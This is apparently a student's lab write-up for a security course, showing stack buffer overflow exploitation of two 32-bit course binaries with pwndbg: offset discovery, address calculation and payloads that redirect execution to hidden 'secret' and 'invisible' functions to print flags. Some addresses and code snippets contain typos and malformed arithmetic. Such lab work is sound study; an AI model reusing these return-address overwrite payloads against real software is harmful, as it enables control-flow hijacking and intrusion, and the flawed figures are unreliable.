

Lab 6

Colby Crutcher

Task 1

```
ccrutter@cybr437:~/Lab6$ file file1
file1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0140061e34adfd4eaddc604220707bd417ffe2e8, for GNU/Linux 3.2.0, not stripped
ccrutter@cybr437:~/Lab6$
```

Figure 1: File1 endianness

```
pwndbg> checksec
File:      /home/ccrutter/lab6/file1
Arch:      i386
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
Stripped:  No
pwndbg>
```

Figure 2: File1 Checksec

Disassembling main, we can see that the function 'welcome' is being called.

```

pwndbg> disass main
Dump of assembler code for function main:
   0x00001208 <+0>:    push    ebp
   0x00001209 <+1>:    mov     ebp,esp
   0x0000120b <+3>:    and     esp,0xffffffff
   0x0000120e <+6>:    call    0x1224 <__x86.get_pc_thunk.ax>
   0x00001213 <+11>:   add     eax,0x2dc1
   0x00001218 <+16>:   call    0x11c8 <welcome>
   0x0000121d <+21>:   mov     eax,0x0
   0x00001222 <+26>:   leave
   0x00001223 <+27>:   ret
End of assembler dump.
pwndbg>

```

Disassembling welcome:

```

Dump of assembler code for function welcome:
   0x000011c8 <+0>:    push    ebp
   0x000011c9 <+1>:    mov     ebp,esp
   0x000011cb <+3>:    push    ebx
   0x000011cc <+4>:    sub     esp,0x14
   0x000011cf <+7>:    call    0x10a0 <__x86.get_pc_thunk.bx>
   0x000011d4 <+12>:   add     ebx,0x2e00
   0x000011da <+18>:   sub     esp,0xc
   0x000011dd <+21>:   lea     eax,[ebx-0x1fa0]
   0x000011e3 <+27>:   push    eax
   0x000011e4 <+28>:   call    0x1040 <puts@plt>
   0x000011e9 <+33>:   add     esp,0x10
   0x000011ec <+36>:   sub     esp,0x8
   0x000011ef <+39>:   lea     eax,[ebp-0x18]
   0x000011f2 <+42>:   push    eax
   0x000011f3 <+43>:   lea     eax,[ebx-0x1f7a]
   0x000011f9 <+49>:   push    eax
   0x000011fa <+50>:   call    0x1050 <__isoc99_scanf@plt>
   0x000011ff <+55>:   add     esp,0x10
   0x00001202 <+58>:   nop
   0x00001203 <+59>:   mov     ebx,DWORD PTR [ebp-0x4]
   0x00001206 <+62>:   leave
   0x00001207 <+63>:   ret
End of assembler dump.
pwndbg>

```

We now need to find the offset. (0x18) below the Base Pointer We need 28 bytes of padding.

```

pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaama
pwndbg> run

```

Figure 3: cyclic 50 run

Running this into the program causes a seg fault, but doesn't break the code to print the function twice.

```
Segmentation fault (core dumped)
ccrutter@cybr437:~/lab6$ ./file1
Welcome! Enter a string and have fun!
aaaabaaacaaadaaaeeaaafaaagaaahaaaiaaaajaaakaaalaaama
Segmentation fault (core dumped)
ccrutter@cybr437:~/lab6$
```

Figure 4: Failed run

We now need to find the offset. (0x18) below the Base Pointer We need 28 bytes of padding.

```
[ BACKTRACE ]
> 0 0x565561ff welcome+55
1 0x61616168
2 0x61616169
3 0x6161616a
4 0x6161616b
5 0x6161616c
6 0x6161616d
7 0x6161616e
```

Figure 5: Found in backtrace

```
pwndbg> cyclic -l 0x61616168
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
```

Figure 6: 28 byte offset

We need to calculate the vmmap.

Code I am sending: (b':', b'A'*28 + p32(0x565561c8) + p32(0xf7dc45b0))

```

pwndbg> vmmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start      End      Perm     Size  Offset  File
0x56555000 0x56556000 r--p     1000    0 /home/ccrutter/lab6/file1
0x56556000 0x56557000 r-xp     1000   1000 /home/ccrutter/lab6/file1
0x56557000 0x56558000 r--p     1000   2000 /home/ccrutter/lab6/file1
0x56558000 0x56559000 r--p     1000   2000 /home/ccrutter/lab6/file1
0x56559000 0x5655a000 rw-p     1000   3000 /home/ccrutter/lab6/file1
0x5655a000 0x5655c000 rw-p    22000    0 [heap]
0xf7d86000 0xf7da9000 r--p    23000    0 /usr/lib32/libc.so.6
0xf7da9000 0xf7f28000 r-xp   17f000  23000 /usr/lib32/libc.so.6
0xf7f28000 0xf7fad000 r--p   85000 1a2000 /usr/lib32/libc.so.6
0xf7fad000 0xf7faf000 r--p    2000 226000 /usr/lib32/libc.so.6
0xf7faf000 0xf7fb0000 rw-p    1000 228000 /usr/lib32/libc.so.6
0xf7fb0000 0xf7fba000 rw-p    a000    0 [anon_f7fb0]
0xf7fba000 0xf7fc3000 rw-p    2000    0 [anon_f7fc1]
0xf7fc3000 0xf7fc7000 r--p    4000    0 [vvar]
0xf7fc7000 0xf7fc9000 r-xp    2000    0 [vdso]
0xf7fc9000 0xf7fca000 r--p    1000    0 /usr/lib32/ld-linux.so.2
0xf7fca000 0xf7fed000 r-xp   23000   1000 /usr/lib32/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p    e000  24000 /usr/lib32/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p    2000  31000 /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p    1000  33000 /usr/lib32/ld-linux.so.2
0xffffdc00 0xffffe000 rw-p   22000    0 [stack]

```

Figure 7: vmmmap

```

Welcome! Enter a string and have fun!
Welcome! Enter a string and have fun!
ccrutter@cybr437:~/lab6$ $

```

Figure 8: Final output with exploit

Task 2

We need more info about the secret since it isn't called in main.

```
ccrutter@cybr437:~/lab6$ file file1
file1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0140061e34adfd4eaddc604220707bd417ffe2e8, for GNU/Linux 3.2.0, not stripped
ccrutter@cybr437:~/lab6$
```

Figure 9: File1 endianness (Same as Task 1)

```
pwndbg> checksec
File:      /home/ccrutter/lab6/file1
Arch:      i386
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
Stripped:  No
pwndbg>
```

Figure 10: File1 Checksec (same as Task 1)

```

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  __libc_start_main@plt
0x00001040  puts@plt
0x00001050  __isoc99_scanf@plt
0x00001060  __cxa_finalize@plt
0x00001070  _start
0x000010a0  __x86.get_pc_thunk.bx
0x000010b0  deregister_tm_clones
0x000010f0  register_tm_clones
0x00001140  __do_global_ctors_aux
0x00001190  frame_dummy
0x00001199  __x86.get_pc_thunk.dx
0x0000119d  secret
0x000011c8  welcome
0x00001208  main
0x00001224  __x86.get_pc_thunk.ax
0x00001228  _fini
pwndbg>

```

Figure 11: info functions

The secret function is located at offset 0x0000119d.

From Task 1, mmap and disassembly of main, our base is 0x56555000.

added the offset 0x119d to the base address 0x56555000.

Code I am sending: (b'.'; b'A'*28 + p32(0x5655619d) + p32(0xf7dc45b0))

By overwriting the return address with the absolute address of secret, control flow is redirected after welcome returns

```

Welcome! Enter a string and have fun!
CYBR437{Galactic_Exploration_Commencing}
ccrutter@cybr437:~/lab6$

```

Task 3

```
● ccrutcher@cybr437:~/lab6$ file file2
file2: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=e41e0739ccc612c178078bc70f5f72fe5c7b8a07, for GNU/Linux 3.2.0, not stripped
```

Figure 12: File2 endianness

```
memory page
pwndbg> checksec
File:      /home/ccrutcher/lab6/file2
Arch:      i386
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
Stripped:  No
pwndbg>
```

Figure 13: checksec for file2

The only function being called in main is also the welcome function. When running the file as is, it instantly seg faults.

From the info functions command, we can see two functions, secret, and invisible. We can investigate those more.

Using our current base address of 0x56555000 - Secret Address: $0x56555000 + 0x119d = 0x56555619d$. - Invisible Address: $0x56555000 + 0x11c8 = 0x5655561c8$.

Buffer Start: $ebp - 0x30$ (which is 48 bytes in decimal).

Saved EBP: Takes up 4 bytes immediately after the buffer.

Return Address: Located immediately after the Saved EBP.

Using the identified offsets and stack layout, I constructed an input that overwrites the return address twice, chaining execution from welcome → secret → invisible, allowing both flags to be printed before clean termination

```
Non-debugging symbols:
0x00001000  _init
0x00001030  __libc_start_main@plt
0x00001040  strcpy@plt
0x00001050  puts@plt
0x00001060  __cxa_finalize@plt
0x00001070  _start
0x000010a0  __x86.get_pc_thunk.bx
0x000010b0  deregister_tm_clones
0x000010f0  register_tm_clones
0x00001140  __do_global_dtors_aux
0x00001190  frame_dummy
0x00001199  __x86.get_pc_thunk.dx
0x0000119d  secret
0x000011c8  invisible
0x000011f3  welcome
0x0000121e  main
0x0000125c  __x86.get_pc_thunk.ax
0x00001260  _fini
pwndbg>
```

Figure 14: info functions


```

pwndbg> disass main
Dump of assembler code for function main:
0x0000121e <+0>:    lea     ecx,[esp+0x4]
0x00001222 <+4>:    and     esp,0xffffffff
0x00001225 <+7>:    push   DWORD PTR [ecx-0x4]
0x00001228 <+10>:   push   ebp
0x00001229 <+11>:   mov     ebp,esp
0x0000122b <+13>:   push   ecx
0x0000122c <+14>:   sub     esp,0x4
0x0000122f <+17>:   call    0x125c <__x86.get_pc_th
unk.ax>
0x00001234 <+22>:   add     eax,0x2da0
0x00001239 <+27>:   mov     eax,ecx
0x0000123b <+29>:   mov     eax,DWORD PTR [eax+0x4]
0x0000123e <+32>:   add     eax,0x4
0x00001241 <+35>:   mov     eax,DWORD PTR [eax]
0x00001243 <+37>:   sub     esp,0xc
0x00001246 <+40>:   push   eax
0x00001247 <+41>:   call    0x11f3 <welcome>
0x0000124c <+46>:   add     esp,0x10
0x0000124f <+49>:   mov     eax,0x0
0x00001254 <+54>:   mov     ecx,DWORD PTR [ebp-0x4]
0x00001257 <+57>:   leave
0x00001258 <+58>:   lea     esp,[ecx-0x4]
0x0000125b <+61>:   ret
End of assembler dump.
pwndbg>

```

Figure 15: Main dissassembled

```

payload = b'A'*52 + p32(0x5655619d) + p32(0x565561c8) + p32(0xf7dc45b0)
io = process(['./file2', payload])

```

Figure 16: Exploit python file run

```

CYBR437{Unlocked_through_HEXellence!}
CYBR437{Unearthed_Ancient_S3crets!}
ccrutter@cybr437:~/lab6$

```

Figure 17: Final exploit output